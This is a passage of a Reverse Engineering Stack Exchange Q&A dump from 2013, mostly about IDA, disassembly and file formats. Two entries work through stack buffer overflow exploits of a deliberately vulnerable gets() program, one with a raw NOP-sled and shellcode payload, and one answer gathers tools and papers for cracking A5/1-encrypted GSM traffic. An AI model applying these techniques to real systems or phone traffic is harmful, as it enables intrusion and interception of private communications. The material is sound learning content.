assert is a standard function in most (if not outright all!) standard libraries, and so if your decompiler could recognize which compiler was used, it would have assigned a standard label to sub_6E0D40. Since it didn't, you could trace that address and see if (a) it jumps immediately to an external routine such as Windows' native Assert, or (b) does what an assert does: outputting the error and immediately exiting.

\n\n
\n\n

Addition: using the stack plus registers ecx and edx seem to indicate this sub is declared \"Microsoft __fastcall\" (wikipedia).

\n" }, { "Id": "2907", "CreationDate": "2013-10-10T04:08:40.120", "Body": "

Original question asked on Stackoverflow: Can the 'r' be removed from a function stack ?

\n\n

I am trying to modify the processor for the Fujitsu FR, and IDA by default inserts the return variable r on each stack, but the Fujitsu FR processor does not put r as the first item, so this stuffs up the stack.

\n\n

What I can't workout is: in the processor plugin, what needs overriding to resolve this, or if any of the example processors have solutions to copy.

\n", "Title": "Can the 'r' be removed from a function stack", "Tags": "|ida|", "Answer": "

for completeness, implementing get_frame_retsize [int (*get_frame_retsize(func_t *pfn)] in your processor_t LPH is the solution to this.

\n\n

in that function for my processor I needed to return zero instead of the default of 4.

\n" }, { "Id": "2911", "CreationDate": "2013-10-12T14:54:51.987", "Body": "

some days ago I took this piece of code from opensecuritytraining.info to test a buffer overflow exploitation:

\n\n
#include <stdio.h>\n\nchar *secret = \"pepito\";\n\nvoid go_shell(){\n    char *shell = \"/bin/sh\";\n    char *cmd[] = { \"/bin/sh\", 0 };\n    printf(\"\u00bfQuieres jugar a un juego?...\\n\");\n    setreuid(0);\n    execve(shell,cmd,0);\n}\n\nint authorize(){\n    char password[64];\n    printf(\"Escriba la contrase\u00f1a: \");\n    gets(password);\n    if (!strcmp(password,secret))\n        return 1;\n    else\n        return 0;\n}\n\nint main(){\n    if (authorize()){\n        printf(\"Acceso permitido\\n\");\n        go_shell();\n    } else{\n        printf(\"Acceso denegado\\n\");\n    }\n    return 0;\n}\n
\n\n

The first test before injecting a shellcode was trying to execute the go_shell function without knowing the password, overflowing the return address of main function and pointing it to the location of go_shell.

\n\n

As far as I understand the stack is divided as below:

\n\n
[STACK] {Return_address}{EBP}{password_buffer(64)}...\n
\n\n

So If I store in password_buffer 68 bytes plus the address of go_shell it should overwrite the return address and execute the desired function.

\n\n
[STACK] {4bytes (Location of go_shell)}{EBP(4 Bytes of junk)}{password_buffer(64)(64 bytes of junk)}...\n
\n\n

The problem here is that I need to fill the buffer with 76 bytes of junk plus 4 bytes of the address to actually override the return address and point %eip to go_shell. What I don't understand is where do those additional 8 bytes come from?

\n\n

This is the GDB output before injecting 74 A (0x41) + the address in a breakpont at line if (!strcmp(password,secret)):

\n\n
EBP:\n0xbffff4a8: 0x41414141  0x0804851c\n\nAAAA + memory_address\n
\n\n

And continuing to go_shell execution (Breakpoint at void go_shell(){ ):

\n\n

EIP now points to the last return address overwrited:

\n\n
(gdb) x/2x $eip\n0x804851c <go_shell>:   0x83e58955  0x45c728ec\n
\n\n

Any help understanding this?

\n\n

Regards.

\n", "Title": "Understanding this Buffer Overflow exploitation", "Tags": "|c|exploit|buffer-overflow|", "Answer": "

If you look at the disassembly of authorize() I'm sure you'll find that the compiler is pushing and restoring more registers than just EBP or aligning the stack. I would recommend that you always look at the disassemly when dealing with overflows of various kinds. The compiler and decompiler, if you use one, hides a lot of details. The disassembly never lies and allows you to make a prediction without resorting to dynamic analysis. I'm a strong proponent of learning with static methods when you're just starting out.

\n\n

Anyways, whether there's more registers, a stack canary, stack alignment or something else, the disassembly of authorize() will reveal the answer to your question.

\n\n

For your reference this is the dissembly of the authorize() function using GCC 4.7.3 with -O2.

\n\n
\npush    ebx\nsub     esp, 58h\nlea     ebx, [esp+5Ch+password]\nmov     [esp+5Ch+arg0], \"Escriba la contrase\"\ncall    _printf\nmov     [esp+5Ch+arg0], ebx\ncall    _gets\nmov     eax, secret\nmov     [esp+5Ch+arg0], ebx\nmov     [esp+5Ch+arg1], eax\ncall    _strcmp\ntest    eax, eax\nsetz    al\nadd     esp, 58h\nmovzx   eax, al\npop     ebx\nretn\n
\n\n

You'll notice that it doesn't use push to move arguments, ebp is unused as a stack frame and the compiler aligns the stack since sum of stack changes is 0x60; return value misaligns by 4, push ebx by 4 more, then sub esp, 0x58 results in 0x60.

\n" }, { "Id": "2917", "CreationDate": "2013-10-15T19:49:10.320", "Body": "

When using objdump I see the following disassembled code:

\n\n
8049436:    89 04 24                mov    DWORD PTR [esp],eax\n8049439:    e8 52 f7 ff ff          call   8048b90 <gtk_entry_get_text@plt>\n804943e:    89 44 24 24             mov    DWORD PTR [esp+0x24],eax\n8049442:    eb 01                   jmp    8049445 <gtk_grid_new@plt+0x6c5>\n8049444:    1d c7 04 24 0b          sbb    eax,0xb2404c7\n8049449:    00 00                   add    BYTE PTR [eax],al\n804944b:    00 e8                   add    al,ch\n804944d:    0f f7 ff                maskmovq mm7,mm7\n8049450:    ff eb                   jmp    <internal disassembler error>\n
\n\n

This is using an obfuscation technique to make the disassembling harder. When I check in gdb I see the real code at 0x8049445:

\n\n
(gdb) > x/10i 0x8049445\n0x8049445:  mov    DWORD PTR [esp],0xb\n0x804944c:  call   0x8048b60 <raise@plt>\n0x8049451:  jmp    0x8049454\n0x8049453:  sbb    eax,0xfff8a7e8\n
\n\n

Now, my question is: is it possible to tell objdump that the byte at 0x8049444 can be ignored for the purpose of disassembly? One obvious way is to actually patch the file, but is there another way?

\n\n

And if not with objdump, are there other tools that can do that? Though I'd rather stay with the basic tools included with Linux so as to familiarize myself with those better.

\n", "Title": "Deal with obfuscated assembly", "Tags": "|disassembly|obfuscation|objdump|", "Answer": "

As everybody else is saying, in this case it is due to linear sweep.\nHowever, I would like to add that even IDA can be fooled with Junk Bytes and you can only trust the disassembly while debugging a sample. As encoders can change the code on the run, only trust the value on the EIP and nothing else to be correct code.

\n" }, { "Id": "2928", "CreationDate": "2013-10-17T20:37:13.847", "Body": "

I am trying to do some experimenting with certain system files (DLLs, EXEs) in Windows and would like to know how I can get information about the functions that they contain. I want to be able to call some of them just as if Windows does. How could one do this?

\n\n

I guess I would need to know what the function names are, and how to call the functions by their names, and what parameters to pass.

\n", "Title": "How can I locate exported functions of an EXE or DLL?", "Tags": "|windows|pe|c++|symbols|", "Answer": "

TL;DR you can call anything, locating the right part of code is the hard part.

\n

export table

\n

If you mean 'just as Windows does', then you mean the functions of the DLL that are available to the others, ie the exported ones? in this case, you need to parse the export table - check pefile for a readable and reliable implementation.

\n

locating any function

\n

IDA

\n

If you actually mean 'all the functions, including the internal ones', then you need to disassemble and tell the difference from code and data. in this case, your best bet is to open the files in IDA - with symbols preferrably - and export the function list.

\n

manually

\n

If you want to do that manually, then you need your own smart disassembler, which is far from trivial: sometimes, compilers generate some code that doesn't immediately look like parts of a function.

\n

calling identified functions

\n

Once you've located the functions, you can just call them directly, without the need of injection, but you have to make sure you have the exact same version of the DLL. hard_imports use such a method to call pieces of code directly.

\n" }, { "Id": "2931", "CreationDate": "2013-10-20T08:37:05.090", "Body": "

I have an indirect call to a function. I traced the program and added the target to the xref, so this works fine. The problem is though, that on the position where the call is, there is no link shown. I thought, that, when I add an XREF, both positions are shown, because this is also the behaviour with the other referenzes, IDA automatically finds out.

\n\n

To illustrate what I mean:

\n\n

The call is here without showing me where it points to:

\n\n
CODE:004A3F07 00C                 call    dword ptr [edx+28h]\n
\n\n

The xref I added is here showing the link:

\n\n
CODE:004A3390     DecryptMemory proc near            ; CODE XREF: sub_4A3EC0:loc_4A3F07 P\n
\n\n

Is it possible to make IDA show the reference on both addresses? I know I can create a manual xref there as well, but then IDA creates a label as well, which makes it a bit confusing, when revisting. I tried to remove the label, but this doesn't work either (would this be possible?).

\n", "Title": "Adding Backlink for XREF in IDA", "Tags": "|ida|", "Answer": "

You can create a free-form comment mentioning \"004A3390\" at 004A3F07. Anything that remotely resembles a valid reference is clickable in IDA Pro. Double-clicking 004A3390 in your comment will take you to the location.

\n" }, { "Id": "2933", "CreationDate": "2013-10-20T22:48:01.153", "Body": "

How can i determine the serial protocol of a electric typewriter? some electric typewriters have a serial port in the back and it is a shape that is not commonly used today. I am planing on interfacing the typewriter with a Arduino and using it as a printer.

\n\n

How do i determine things such as the baud rate, the pinout and the voltage. I already broke one typewriter trying to find out the protocol, I cannot get a owners manual for the typewriters, all of the other guides that i found involved modifying the circuit board and connecting the wires to the keys. I have not been able to find out how a a typewriter with a serial port works.

\n\n

Here is a picture of the serial port, what type is it?

\n\n

\"enter

\n", "Title": "Determining the serial port protocol of a typewriter", "Tags": "|hardware|serial-communication|", "Answer": "

You may want to perform Automatic baud rate detection

\n\n

There are a couple of projects on github that implement these such as BAUD RATE RS232 DETECTOR EXAMPLE for atmega8

\n\n

You may also want to use RS232enum that uses Arduino to try to enumerate all serial lines (RX/TX).

\n" }, { "Id": "2940", "CreationDate": "2013-10-24T08:25:38.220", "Body": "

I am currently looking at a TIFF file generated by a microscope vendor. They store an XML within the TIFF (ImageDescription tag). Within this XML I can find a <barcode> element. But instead of storing the actual barcode (PDF417, DataMatrix) value, they store something else.

\n\n

I have three samples, first one is a PDF417, the last two are DataMatrix. Decoding the values leads to:

\n\n
    \n
  1. 04050629C
    2. \n
  2. H13150154711A11
    3. \n
  3. H13150154512A02
    4. \n
\n\n

while the XML element <barcode> contains (in that order):

\n\n
    \n
  1. MDQwNTA2MjlD
    2. \n
  2. SDEzMTUwMTU0NzExQTEx
    3. \n
  3. SDEzMTUwMTU0NTEyQTAy
    4. \n
\n\n

What type of encoding is this ?

\n", "Title": "Storing barcodes as ASCII", "Tags": "|encodings|", "Answer": "

The type of encoding is Base64 encoding.

\n\n
$ echo MDQwNTA2MjlD | base64 -d\n04050629C\n\n$ echo SDEzMTUwMTU0NzExQTEx | base64 -d\nH13150154711A11\n
\n" }, { "Id": "2943", "CreationDate": "2013-10-24T09:15:59.983", "Body": "

Is it possible to paste a series of bytes into hex view of IDA? Say I have a large buffer I need to fill with a specific value, and I have it in the form most hex editors output... 0A AB EF FF 00 01... is there some quick way to write this value to a segment of the hex view? Or do this through IDAPython?

\n\n

Edit:

\n\n

Solved using PatchByte as suggested below:

\n\n
def PatchArr(dest, str):\n  for i, c in enumerate(str):\n    idc.PatchByte(dest+i, ord(c));\n\n# usage: patchArr(start address, string of bytes to write)\npatchArr(0xCAFEBABE, \"\\x01\\x02\\x03\")\n
\n\n

Note that I am not a fan of edits to volatile debug memory causing IDA to complain about the IDB being patched post-debug...

\n", "Title": "Paste hex bytes into IDA Pro Hex View", "Tags": "|ida|python|idapython|hex|memory|", "Answer": "

Below are two functions from fwrapper that give examples on how to patch IDBs and import data from a file. I'd recommend checking out the code. I use it all the time for samples that decodes/decrypts data or when I have to manually dump a block of memory and patch an IDB.

\n\n
def patch(self, temp = None):\n    '''patch idb with data in fwrapper.buffer'''\n    if temp != None:\n            self.buffer = temp\n    for index, byte in enumerate(self.buffer):\n         PatchByte(self.start+index, ord(byte))\n\ndef importb(self):\n    '''import file to save to buffer'''\n    fileName = AskFile(0, \"*.*\", 'Import File')\n    try:\n        self.buffer = open(fileName, 'rb').read()\n    except:\n        sys.stdout.write('ERROR: Cannot access file')\n
\n" }, { "Id": "2956", "CreationDate": "2013-10-26T16:24:56.680", "Body": "

Scenario:

\n\n\n\n

Which instruments are best for discovering carrier frequency?

\n\n

How encrypted-text should be gathered to attack on it ( kind of software, e.g. something like horst, but more broad )?

\n", "Title": "Attack on wireless interconnection", "Tags": "|tools|hardware|encryption|physical-attacks|", "Answer": "

If \"something like wi-fi\" means it's radio but not really 802.11, you might want to take a look at Software Defined Radio projects. As the question isn't really clear, your mileage may vary.

\n\n

There are numerous hardware tools you can use. \nFrom relatively expensive tools like bladeRF and hackRF to really cheap alternatives like rtl-sdr. You'd probably need to do some research on how to actually use them for what you want.

\n" }, { "Id": "2962", "CreationDate": "2013-10-27T07:15:54.770", "Body": "

I would like to know what is needed to intercept GSM communications with an USRP (Universal Software Radio Peripheral) and using Gnu Radio.

\n\n\n\n

All in one, my question is more about looking for advices about \"where to start ?\" when trying to understand GSM communication.

\n", "Title": "Intercepting GSM communications with an USRP and Gnu Radio", "Tags": "|radio-interception|gnu-radio|", "Answer": "

As mentioned above by 0xea, @domi007 published 4 blog posts (1,2,3,4) detailing his experience with GSM sniffing and cracking. He also published his recorded presentation about GSM security (slides). \nOn the same topic, there's also Sniffing GSM with HackRF, Analyzing GSM with Airprobe and Wireshark, three Chaos Computer Club presentations (One discussing Wideband GSM sniffing, another discussing the functioning of GSM networks) and the one mentioned above about GSM Cracking. Last but not least, there's also a Black Hat 2008 Presentation called \"Intercepting Mobile Phone/GSM Traffic\", by David Hulton and Steve video (.mov).\nObservation : There's also this tutorial by Srlabs, which uses their own tool, Kraken, that covers decrypting GSM using Airprobe and the Airprobe's own tutorial on decoding GSM.\nWhen choosing your SDR, I suggest you read this comparison about HackRF, bladeRF and the USRP B210. There is also RTL-SDR . They are all quite nice. I also suggest using Gqrx as it's built on Gnuradio and has a neat interface.

\n\n

Architecture and theory wise, I'd recommend About GSM Dm Channels, which is a quite complete and detailed beginner paper that explains the GSM Architecture and how it works. I also recommend GSM - Architecture, Protocols and Services and 4G: LTE/LTE-Advanced for Mobile Broadband (if considering LTE), which provide further information and details about the functioning of GSM for those that want to delve into it.

\n\n

Regarding GSM Encryption and its flaws, I suggest Instant Ciphertext-Only Cryptanalysis of GSM Encrypted Communication, which discusses ciphertext attacks on A5/(1,2,3), Hardware-based Cryptanalysis of the GSM A5/1 Encryption Algorithm - includes a 2 page brief on A5/1 and then goes on to the cryptoanalysis - and A Practical-Time Attack on the A5/3 Cryptosystem Used in Third Generation GSM Telephony - discusses attacks on A5/3. Finally, there is also Real Time Cryptanalysis of A5/1 on a PC, a very nice document called Security of 3G and LTE that discusses the security architecture and the attacks on it's flaws, and Software Hardware Trade-offs - Applications to A5/1 Cryptanalysis - another nice paper on A5/1. Observations : You can find the specifications for A5/3 in the middle of this page. There are also two Blackhat presentions that cover part of those papers in a succinct way Attacking Phone Privacy and Breaking Phone Privacy. If you like animations, there is an A5/1 Cipher Animation on YouTube. @matthew_d_green deserves to be mentioned, considering he wrote a small synthesis of cellular communications crypto flaws in his blog.

\n\n

Important observation : The GSM specifications are located in 3GPP's website. To find them, you need to determine the numbering of the part you're looking for. Then, you browse into their ftp server and look for the date and release you fancy. (Releases prior to 2012-13 need to be solicited through their contact mail). Supposing you want the latest \"3G and Beyond / GSM\" Signalling Protocols specifications, you'll need to browse to their \"latest\" folder, descend to the release you're looking for (i.e. Release 12), and finally download the \"Series\" that contain the information you need - which in this case would be \"Series 24\". Therefore, the result of your endeavor would be : ftp://ftp.3gpp.org/specs/latest/Rel-12/24_series/ .\nIt's not a good user experience, especially because there are several empty directories, but with patience, you can find what you're looking for.

\n\n

@gat3way deserves a special mention for documenting his experiments in cracking GSM A5/1 in his blog (1,2,3) - includes a brief description of the A5/1 mechanism - and the fact that he has implemented support for cracking A5/1 using Pornin's attack in his password recovery tool, hashkill - git commit.

\n\n

An existing tool to crack A5/1 is Kraken, by srlabs (available through git://git.srlabs.de/kraken.git), which should be used after recording the data with Gnuradio/Gqrx and parsing it with Airprobe. It needs GSM rainbow tables, available at the jump.

\n\n

Another tool that can be considered is hashkill, which takes the key to be cracked in a \"frame_number:keystream\" format - it's author published the code for converting a bin burst into the required input format here. He also published a php script to locate suitable SI5/SI6 encrypted bursts for cracking - you'll need to change the hardcoded values for SI5 frames to fit your location -, which, together with Kraken's xortool, gsmframecoder (that will be used to calculate Timing Advance changes) and Airprobe should be sufficient to crack GSM.

\n" }, { "Id": "2964", "CreationDate": "2013-10-27T09:31:07.690", "Body": "

I have some code (I assume Delphi) which uses only the EAX and EDX register for passing the arguments (and of course the stack if more are required). I looked which calling conventions would match, but I haven't found one which uses only EAX and EDX. \nAFAIK Borland fastcall/register is using EAX and EDX, but also ECX, which is not the case here.

\n\n

Can I tell IDA somehow about this calling convention? How would I do this?

\n", "Title": "Which calling convention to use for EAX/EDX in IDA", "Tags": "|ida|calling-conventions|", "Answer": "

Delphi and Borland C++ Builder use EAX, EDX and ECX for the first three arguments in their variant of the __fastcall calling convention. So if you choose \"Delphi\" or \"C++ Builder\" in Options-Compiler, you can just use __fastcall in the function prototype - no need to resort to __usercall.

\n" }, { "Id": "2966", "CreationDate": "2013-10-27T10:52:42.373", "Body": "

Why do IDA and Ollydbg always open some programs with the main() function at the same address?

\n\n

The address given by IDA is equal to that given by Ollydbg in runtime. However, when I wrote my own C app and ran it, the address of main() was always different between each runtime in Ollydbg.

\n\n

In IDA, though, there was always the same address, never equal to the one given by Ollydbg, which looked like just some relative address.

\n\n

Is this caused by the compiler or by something else?

\n", "Title": "Some programs have always same addressing and some different", "Tags": "|ida|debuggers|ollydbg|", "Answer": "

From http://en.wikipedia.org/wiki/Address_space_layout_randomization -

\n\n
\n

Address space layout randomization (ASLR) is a computer security\n technique involved in protection from buffer overflow attacks. In\n order to prevent an attacker from reliably jumping to a particular\n exploited function in memory (for example), ASLR involves randomly\n arranging the positions of key data areas of a program, including the\n base of the executable and the positions of the stack, heap, and\n libraries, in a process's address space.

\n
\n\n

You can disable ASLR in your C app at build-time by using the linker option /DYNAMICBASE:NO.

\n" }, { "Id": "2970", "CreationDate": "2013-10-27T15:25:17.123", "Body": "

So I have some encrypted data in this executable. IDA couldn't do much with it, so it defined it as arrays. Now I know how to decrypt this data, and it has some encrypted code. I could of course, put the encrypted data into some separate file, run the decryption on it, and then let IDA process it, but then it looses connection to the original executable.

\n\n

Is it possible to replace the encrypted data 1:1 with the decrypted one, so I can let IDA process it, in the context of the executable?

\n", "Title": "Put encrypted code blocks back as unencrypted in IDA", "Tags": "|ida|decryption|", "Answer": "

Just debug the file in IDA itself and take a memory snapshot once the data is decrypted.

\n" }, { "Id": "2977", "CreationDate": "2013-10-29T16:48:48.743", "Body": "

How can I clean up/simplify strings that are built at runtime?

\n\n

I've seen this a couple of times and figured that there has to be something easier. I've been manually converting the characters to try and interpret what strings are being formed.

\n\n
.text:0040166E C6 45 F0 5C   mov     [ebp+pszSubKey+2Ch], '\\'\n.text:00401672 C6 45 F1 57   mov     [ebp+pszSubKey+2Dh], 'W'\n.text:00401676 C6 45 F2 69   mov     [ebp+pszSubKey+2Eh], 'i'\n.text:0040167A C6 45 F3 6E   mov     [ebp+pszSubKey+2Fh], 'n'\n.text:0040167E C6 45 F4 6C   mov     [ebp+pszSubKey+30h], 'l'\n.text:00401682 C6 45 F5 6F   mov     [ebp+pszSubKey+31h], 6Fh\n.text:00401686 C6 45 F6 67   mov     [ebp+pszSubKey+32h], 67h\n.text:0040168A C6 45 F7 6F   mov     [ebp+pszSubKey+33h], 6Fh\n.text:0040168E C6 45 F8 6E   mov     [ebp+pszSubKey+34h], 6Eh\n.text:00401692 C6 45 F9 5C   mov     [ebp+pszSubKey+35h], 5Ch\n
\n", "Title": "How can I clean up strings built at runtime (stack strings)?", "Tags": "|ida|idapython|", "Answer": "

The one that worked for me eventually was "stackstrings" plugin from FireEye/Mandiant FLARE (based on this module)

\n" }, { "Id": "2983", "CreationDate": "2013-10-30T11:15:39.893", "Body": "

It's something that puzzle me for a long time. I can observe that there is a difference between the real execution of a program and the gdb-controlled one.

\n\n

But, here is an example:

\n\n
    \n

  1. First, here is the example code (we use an automatic variable to get the location of the stack):

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n\nint main ()\n{\n  char c = 0;\n\n  printf (\"Stack address: %p\\n\", &c);\n\n  return EXIT_SUCCESS;\n}\n
    2. \n

  2. Then, we disable the ASLR (we use the personality flags of the process and not the system-wide method through /proc/sys/kernel/randomize_va_space):

    \n\n
    $> setarch `uname -m` -R /bin/bash\n
    3. \n

  3. Then, get a run in the real memory environment:

    \n\n
    Stack address: 0x7fffffffe1df\n
    4. \n

  4. And, the same through gdb:

    \n\n
     (gdb) r\n Starting program: ./gdb-against-reality\n Stack address: 0x7fffffffe17f\n [Inferior 1 (process 5374) exited normally]\n (gdb) \n
    5. \n
\n\n

So, here we have a difference of 96 bytes between the two runs. But, how can I predict this difference for a given program without having it running in the real memory layout (just by knowing the gdb memory layout) ?

\n\n

And, also, from where/what is coming this difference ?

\n", "Title": "How to predict address space layout differences between real and gdb-controlled executions?", "Tags": "|gdb|memory|", "Answer": "

Just to add to the answers, I can tell how to get close to a clean environment despite gdb. In fact, there are two methods to reach this:

\n\n
    \n

  1. We can get rid of the extra environment variables added by gdb as follow:

    \n\n
    (gdb) unset environment LINES\n(gdb) unset environment COLUMNS\n
    \n\n

    Write these commands before running the program, and you should be close to the normal environment. Note that you still have to take care of the _ variable.

    2. \n

  2. One can also generate a memory core of the vulnerable program and analyze it with gdb:

    \n\n
    $> gdb vuln_program core\n
    \n\n

    You should just look at the memory and never run, next, step, ... because doing so will force you to restart the program with a fresh memory (with the shift).

    3. \n
\n\n

That was two methods you can use with gdb to follow a program without too much differences with the real execution. But, they are many others!

\n" }, { "Id": "2990", "CreationDate": "2013-10-31T07:52:24.587", "Body": "

Is it possible to see a kind of statistics in IDA about functions and how often they are referenced? When analyzing a program, I find it helpfull.

\n\n

Functions that are referenced very often typically are common functionality. An example would be stuff like strcmp(), malloc()/free(), strlen(), etc..

\n\n

Some of those are quite easy to identfiy (like a strcmp() implementation), and giving a name to those functions early on, makes the analysis of the rest more easy.

\n", "Title": "Statistics of call XREFs", "Tags": "|ida|", "Answer": "

The following code is taken from GreyHat Python, and is very similar to the previous answer:

\n\n
from idaapi import *\nfuncs = [\"malloc\",\"free\",\"strcmp\"]\n\nfor f in funcs:\n   curAddr = LocByName(f)\n   if curAddr != BADADDR:\n      xrefs = CodeRefsTo(curAddr,0)\n      print \"Cross References to %s\" % f\n      for ref in xrefs:\n         print \"08x\" % ref\n         SetColor(ref,CIC_ITEM,0x0000ff)\n
\n\n

This function will also highlight the call to make tracing it easier

\n" }, { "Id": "2991", "CreationDate": "2013-10-31T11:39:20.817", "Body": "

I have a structure which looks like this:

\n\n
 RefString struct\n     RefCount dd ?\n     StrLen   dd ?\n     CString  db...\n RefString ends\n
\n\n

When the code passes around a pointer, it doesn't point to the beginning of the struct (RefCount), instead it points to CString, which is allocated as a normal C-String with a zero terminating character, as well as having the strlen and a refcount. So when the code accesses the strlen or refcount it uses ptr-4 respectively ptr-8.

\n\n

Actually that's quite a nice construct, because this way the string can be used as a delphistring, but also directly passed to some system functions without the need of converting back and forth.

\n\n

Now I wonder though, if it is possible in IDA to create a struct with the basepointer to the string and it knows that the other fields are with the negative offset.

\n", "Title": "Struct with negative offset in IDA possible", "Tags": "|ida|struct|", "Answer": "

What you referring to as ptr-4 and ptr-8 are in fact location of singled out variables on stack. IDA has to know the structure in order to recognize it automatically. If you setup custom structure in \"Structures\" subview. Subsequently, You can manually set whatever variable you choose to be the type of that particular variable. Thereafter, IDA will replace references within disassembly view with appropriate offsets to the structure members.

\n\n

If IDA \"lands\" in what seems to be the middle of the structure. You could follow the work around below to make it display it differently:

\n\n
\n
    \n
  1. invert the operand sign by pressing _ (underscore)
    2. \n
  2. select the instruction
    3. \n
  3. press T. provide calculated delta, select the desired structure and its field
    4. \n
\n
\n\n

For details consult Negative structure offsets of Hex Blog.

\n" }, { "Id": "2995", "CreationDate": "2013-11-01T19:26:55.183", "Body": "

Some days ago I coded a simple code to test a buffer overflow exploitation on x86 system. In order to keep it simple I disabled ASLR and NX so there are no protection that could cause weird behaviours.

\n\n

This is my C code to exploit:

\n\n
#include <stdio.h>\n\nvoid read_txt(){\n        char txt[64];\n        printf(\"Write something:\");\n        gets(txt);\n}\n\n\nint main(){\n    read_txt();\n    return 0;\n}\n
\n\n

I also wrote my own shellcode that just prints a string. As far as I know the payload should be something like this, fill the buffer with NOP instructions + shellcode, add 0x41414141 (AAAA) to overwrite EBP register and finally I override the return address with an address pointing to the middle of the NOPs.

\n\n

Actually it does not work in that way and my payload is as follows:

\n\n
[1-\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\xb0\\x04\\xb3\\x01\\x68\\x20\\x3b\\x29\\x20\\x68\\x68\\x73\\x65\\x63\\x68\\x20\\x48\\x69\\x67\\x68\\x48\\x6f\\x6c\\x61\\x89\\xe1\\xb2\\x0f\\xcd\\x80\\xb0\\x01\\x31\\xdb][2-\\x41\\x41\\x41\\x41][3-\\x89\\xf4\\xff\\xbf][4-\\x89\\xf4\\xff\\xbf]\n\n1- NOPs + Shellcode = 60bytes\n2- AAAA =4 bytes (Padding to fill the buffer, if NOP+Shellcode fills 64bytes it does not work)\n3- Address to override EBP (In the middle of NOPs)\n4- Overrides Return Address\n
\n\n

This exploit works on gdb but fails if I pass the payload directly to the program, and I think that the problem is that just before the program executes gets() function the disasembler shows the leave instruction which points esp to ebp and causes an error.

\n\n

This is the disassembly of read_txt() function:

\n\n
0x0804844c <+0>:    push   %ebp\n   0x0804844d <+1>: mov    %esp,%ebp\n   0x0804844f <+3>: sub    $0x44,%esp\n   0x08048452 <+6>: movl   $0x8048510,(%esp)\n   0x08048459 <+13>:    call   0x8048320 <printf@plt>\n   0x0804845e <+18>:    lea    -0x40(%ebp),%eax\n   0x08048461 <+21>:    mov    %eax,(%esp)\n   0x08048464 <+24>:    call   0x8048330 <gets@plt>\n   0x08048469 <+29>:    leave  \n   0x0804846a <+30>:    ret    \n
\n\n

And this is the execution of the exploit on GDB:

\n\n
(gdb) x/20x $esp\n0xbffff47c: 0xbffff480  0x90909090  0x90909090  0x90909090\n0xbffff48c: 0x90909090  0xc0319090  0xc931db31  0x04b0d231\n0xbffff49c: 0x206801b3  0x6820293b  0x63657368  0x69482068\n0xbffff4ac: 0x6f486867  0xe189616c  0x80cd0fb2  0xdb3101b0\n0xbffff4bc: 0x41414141  0xbffff489  0xbffff489  0xbffff500\n(gdb) s\nWarning:\nCannot insert breakpoint 0.\nError accessing memory address 0x90909090: I/O Error.\n\n0xbffff489 in ?? ()\n(gdb) c\nContinuing.\nShellcode Executed\nProgram received signal SIGSEGV, Segmentation fault.\n0xbffff4b9 in ?? ()\n(gdb) \n
\n\n

Notice that EBP points to 0x90909090 because it has the same address that overrides the return address, and also notice the string Shellcode Executed that is the shellcode included in the payload.

\n\n

My question is, where could I point EBP to avoid this problem before pointing the return address to the NOP slide? Also as secondary question why I can't fill the 64bytes buffer with NOPs+Shellcode?

\n\n

Regards.

\n", "Title": "Illegal Instruction exploiting sample Buffer Overflow code", "Tags": "|c|exploit|buffer-overflow|", "Answer": "

In fact, the memory layout within gdb and outside of it differs of a few bytes. There have been recently a question about this here. You can read: How to predict address space layout differences between real and gdb-controlled executions?

\n\n

In your case, you may just have to adjust your address by adding/subtracting 96 bytes.

\n\n

I can, also, give you a few tricks with gdb to help you a bit with this:

\n\n\n\n

Hope this help.

\n" }, { "Id": "2999", "CreationDate": "2013-11-02T07:24:50.567", "Body": "

I am trying to figure out how the Lossless Rice compression algorithm works on the following file. Here is a DICOM file.

\n\n

Looking at the information I can see:

\n\n
$ gdcmdump I160 | grep \"Tamar Compression Type\"\n(07a1,1011) CS [LOSSLESS RICE ]                                # 14,1 Tamar Compression Type\n
\n\n

I can open the image using TomoVision. The image is 512x512, 16bits (unsigned).

\n\n

The compressed stream:

\n\n
$ gdcmraw -t 07a1,100a I160 comp.raw\n
\n\n

contains (hexdump comp.raw):

\n\n
1A D5 F8 EB  F2 77 A5 CE  A3 54 D5 2A  C0 5D AA 32...\n
\n\n

But TomoVision seems to output a series of zeroes until byte 0x1DE. I can also use a command line tool: DICOMatic to process the file. However without a proper license, the generated file contains a waterwark. So only the first few bytes looks ok:

\n\n
$ gdcmraw /tmp/I160.dcm /tmp/pixeldata.raw\n$ hexdump /tmp/pixeldata.raw |less\n
\n\n

Some more encoded files can be found here.

\n", "Title": "Lossless Rice Compression", "Tags": "|decryption|", "Answer": "

Not worth any bounty, but it might help, as Tomovision.exe doesn't look obfuscated in any way after a quick look, and contains the algorithm you're looking for:

\n\n
    \n
  1. open it in your favorite disassembler
    2. \n
  2. check for reference to RICE strings (such as C:\\TomoVision\\Prog\\Prog_Lib\\TomoVision_Convert\\NEMA_Compression_RICE_decode.cpp at address 4F59C4)
    3. \n
  3. study the ASM code - a.k.a. do your homework ;)
    4. \n
\n" }, { "Id": "3000", "CreationDate": "2013-11-02T11:20:34.640", "Body": "

While reading an answer to another question, it was mentioned that \"78 9C\" was a well-known pattern for Zlib compressed data. Intrigued, I decided to search up the signature on the file signature database to see if there were any related numbers. It wasn't on there. So I checked on Gary Kessler's magic number list to see that it wasn't there either.

\n\n

I even ended up creating a binary file with the signature at the beginning and ran \"file\" on it as a sort of \"I-doubt-it-will-work-but-maybe\" attempt (Since that works with \"50 4b\" because that is a valid ZIP file header and is commonly in the middle of other files.) But none of these attempts revealed that I was looking at a Zlib signature.

\n\n

It would appear as though most magic number databases only contain file-format magic numbers rather than numbers to differentiate data in the middle of a file. So, my question is:

\n\n

Are there any places one could find a list of binary signatures of certain types of data streams that are not file formats themselves? Data that is not a file itself, but rather inside a file.

\n\n

Thanks in advance.

\n", "Title": "Where could one find a collection of mid-file binary signatures?", "Tags": "|file-format|magic-number|", "Answer": "

Are you perhaps looking for binwalk? Especially the magic folder of its source code.

\n" }, { "Id": "3001", "CreationDate": "2013-11-02T13:42:02.317", "Body": "

I want to extract the strings in Shadowgate for NES. I ran file on the image and then strings, no luck. I found some information about the NES cartridge file format. The docs mention the use of \u201cName Tables\u201d. Is there a way to disassemble this file and view the strings? I tried

\n\n
 strings -e -T rom.bin\n
\n\n

I also tried :

\n\n
 objdump -i rom.bin\n
\n\n

The processor looks to be an M6502 processor and there are Windows disassemblers available.

